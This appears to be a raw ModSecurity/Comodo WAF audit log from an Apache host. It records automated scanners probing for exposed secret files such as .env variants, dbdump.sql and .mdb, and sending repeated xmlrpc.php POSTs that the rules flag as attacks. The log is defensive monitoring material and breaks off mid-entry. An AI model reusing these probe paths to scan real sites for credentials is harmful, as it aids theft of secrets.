675365 (- - -) Stopwatch2: 1750022666123998 675365; combined=1881, p1=362, p2=1421, p3=0, p4=0, p5=97, sr=90, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --715b933c-Z-- --6ac6d015-A-- [16/Jun/2025:02:54:27.814323 +0530] aE86C-CiZPLeFRlDAYwbfQAAAAU 185.177.72.210 47372 127.0.0.1 7081 --6ac6d015-B-- GET /.env.production HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --6ac6d015-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=755e07c60747a052516706f6dfca4a591750022667; expires=Sun, 15 Jun 2025 22:24:27 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --6ac6d015-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.env.production"] [unique_id "aE86C-CiZPLeFRlDAYwbfQAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750022667149094 665292 (- - -) Stopwatch2: 1750022667149094 665292; combined=1814, p1=365, p2=1343, p3=0, p4=0, p5=105, sr=90, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --6ac6d015-Z-- --b4649971-A-- [16/Jun/2025:02:54:29.319130 +0530] aE86DIl8S04UZ4l67-nciAAAAAk 185.177.72.210 47404 127.0.0.1 7081 --b4649971-B-- GET /user/.env.staging HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --b4649971-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=7bbb78ac5bbcba71a6c37861dd9690a31750022669; expires=Sun, 15 Jun 2025 22:24:29 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --b4649971-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/user/.env.staging"] [unique_id "aE86DIl8S04UZ4l67-nciAAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750022668672534 646660 (- - -) Stopwatch2: 1750022668672534 646660; combined=1909, p1=397, p2=1403, p3=0, p4=0, p5=108, sr=110, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b4649971-Z-- --87b7f46f-A-- [16/Jun/2025:02:54:33.747721 +0530] aE86EWeJgEpdIdHvkzydnAAAAAY 185.177.72.210 52374 127.0.0.1 7081 --87b7f46f-B-- GET /.mdb HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --87b7f46f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=73d6221db5ff7e8e8d3b6675489ccbf81750022673; expires=Sun, 15 Jun 2025 22:24:33 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --87b7f46f-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".mdb"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".mdb"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/.mdb"] [unique_id "aE86EWeJgEpdIdHvkzydnAAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750022673056905 690903 (- - -) Stopwatch2: 1750022673056905 690903; combined=1870, p1=329, p2=1421, p3=0, p4=0, p5=119, sr=100, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --87b7f46f-Z-- --fffee56c-A-- [16/Jun/2025:02:54:34.729099 +0530] aE86EiHEjD4mqWjYVm17sQAAABM 185.177.72.210 52418 127.0.0.1 7081 --fffee56c-B-- GET /.pdb HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --fffee56c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=7105d2dfa492e8c564cd85ff817fa0c11750022674; expires=Sun, 15 Jun 2025 22:24:34 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --fffee56c-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".pdb"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".pdb"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/.pdb"] [unique_id "aE86EiHEjD4mqWjYVm17sQAAABM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750022674085005 644156 (- - -) Stopwatch2: 1750022674085005 644156; combined=1659, p1=337, p2=1219, p3=0, p4=0, p5=103, sr=110, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --fffee56c-Z-- --39994572-A-- [16/Jun/2025:02:54:43.923776 +0530] aE86G3wizUED0-SK4eRLfQAAAAE 185.177.72.210 34966 127.0.0.1 7081 --39994572-B-- GET /:8080/server/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --39994572-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=4f978a6c55609413b96aaa024e39d1a41750022683; expires=Sun, 15 Jun 2025 22:24:43 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --39994572-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8080/server/.env"] [unique_id "aE86G3wizUED0-SK4eRLfQAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750022683270598 653240 (- - -) Stopwatch2: 1750022683270598 653240; combined=2008, p1=453, p2=1477, p3=0, p4=0, p5=78, sr=110, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --39994572-Z-- --2f1b9e38-A-- [16/Jun/2025:02:54:52.105242 +0530] aE86I4l8S04UZ4l67-nckgAAAAk 128.199.112.101 58906 127.0.0.1 7081 --2f1b9e38-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 497 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --2f1b9e38-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --2f1b9e38-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE86I4l8S04UZ4l67-nckgAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750022691172214 933083 (- - -) Stopwatch2: 1750022691172214 933083; combined=2069, p1=390, p2=1308, p3=40, p4=58, p5=169, sr=96, sw=104, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --2f1b9e38-Z-- --83c9185d-A-- [16/Jun/2025:02:55:42.149443 +0530] aE86VcSAI-lmnIgQu6D4hQAAAAc 185.177.72.210 55290 127.0.0.1 7081 --83c9185d-B-- GET /uploads/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --83c9185d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=85567fa0e21f833c2729969519a1cae41750022741; expires=Sun, 15 Jun 2025 22:25:41 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --83c9185d-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/uploads/.env"] [unique_id "aE86VcSAI-lmnIgQu6D4hQAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750022741416545 732992 (- - -) Stopwatch2: 1750022741416545 732992; combined=1802, p1=399, p2=1272, p3=0, p4=0, p5=130, sr=100, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --83c9185d-Z-- --1f6e7a77-A-- [16/Jun/2025:02:55:52.420349 +0530] aE86XyHEjD4mqWjYVm171gAAABM 128.199.112.101 36402 127.0.0.1 7081 --1f6e7a77-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 494 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --1f6e7a77-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --1f6e7a77-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE86XyHEjD4mqWjYVm171gAAABM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750022751500171 920244 (- - -) Stopwatch2: 1750022751500171 920244; combined=2364, p1=405, p2=1520, p3=49, p4=78, p5=195, sr=128, sw=117, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --1f6e7a77-Z-- --0444747f-A-- [16/Jun/2025:02:56:51.230837 +0530] aE86mmBSQiWwwCa-v2QGnwAAAAQ 185.177.72.210 41514 127.0.0.1 7081 --0444747f-B-- GET /iisadmpwd/aexp3.htr HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --0444747f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=89c2e59f52cb9067a1d719bb4a68d4a01750022811; expires=Sun, 15 Jun 2025 22:26:51 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --0444747f-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".htr"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".htr"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/iisadmpwd/aexp3.htr"] [unique_id "aE86mmBSQiWwwCa-v2QGnwAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750022810566061 664837 (- - -) Stopwatch2: 1750022810566061 664837; combined=1998, p1=350, p2=1561, p3=0, p4=0, p5=86, sr=95, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --0444747f-Z-- --c6498350-A-- [16/Jun/2025:02:56:52.044117 +0530] aE86m9afa9gds5d-5EIsvAAAAAM 128.199.112.101 41528 127.0.0.1 7081 --c6498350-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 493 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --c6498350-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --c6498350-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE86m9afa9gds5d-5EIsvAAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750022811079217 964994 (- - -) Stopwatch2: 1750022811079217 964994; combined=2208, p1=355, p2=1323, p3=61, p4=84, p5=239, sr=93, sw=146, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c6498350-Z-- --e7ff7322-A-- [16/Jun/2025:02:57:00.086668 +0530] aE86o9afa9gds5d-5EIswAAAAAM 185.177.72.210 44250 127.0.0.1 7081 --e7ff7322-B-- GET /dbdump.sql HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --e7ff7322-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=1a6ac7d2016575117f7b1327c1c8c44f1750022819; expires=Sun, 15 Jun 2025 22:26:59 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --e7ff7322-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/dbdump.sql"] [unique_id "aE86o9afa9gds5d-5EIswAAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750022819447626 639127 (- - -) Stopwatch2: 1750022819447626 639127; combined=2007, p1=370, p2=1530, p3=0, p4=0, p5=106, sr=91, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --e7ff7322-Z-- --75635f3d-A-- [16/Jun/2025:02:57:01.064589 +0530] aE86pGBSQiWwwCa-v2QGpAAAAAQ 185.177.72.210 44272 127.0.0.1 7081 --75635f3d-B-- GET /videos/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --75635f3d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=1b8397f2c6d37005286d2751504979c81750022820; expires=Sun, 15 Jun 2025 22:27:00 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --75635f3d-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/videos/.env"] [unique_id "aE86pGBSQiWwwCa-v2QGpAAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750022820409643 655018 (- - -) Stopwatch2: 1750022820409643 655018; combined=2038, p1=381, p2=1569, p3=0, p4=0, p5=87, sr=94, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --75635f3d-Z-- --90795a27-A-- [16/Jun/2025:02:57:10.561619 +0530] aE86reCiZPLeFRlDAYwbyQAAAAU 185.177.72.210 49610 127.0.0.1 7081 --90795a27-B-- GET /ubuntu/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --90795a27-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=06864328557eb48fd078fcc41fea26ef1750022830; expires=Sun, 15 Jun 2025 22:27:10 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --90795a27-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/ubuntu/.env"] [unique_id "aE86reCiZPLeFRlDAYwbyQAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750022829914367 647317 (- - -) Stopwatch2: 1750022829914367 647317; combined=1765, p1=440, p2=1222, p3=0, p4=0, p5=103, sr=103, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --90795a27-Z-- --bc090605-A-- [16/Jun/2025:02:57:11.572500 +0530] aE86rol8S04UZ4l67-nc1QAAAAk 185.177.72.210 49654 127.0.0.1 7081 --bc090605-B-- GET /:5000/.env~ HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) 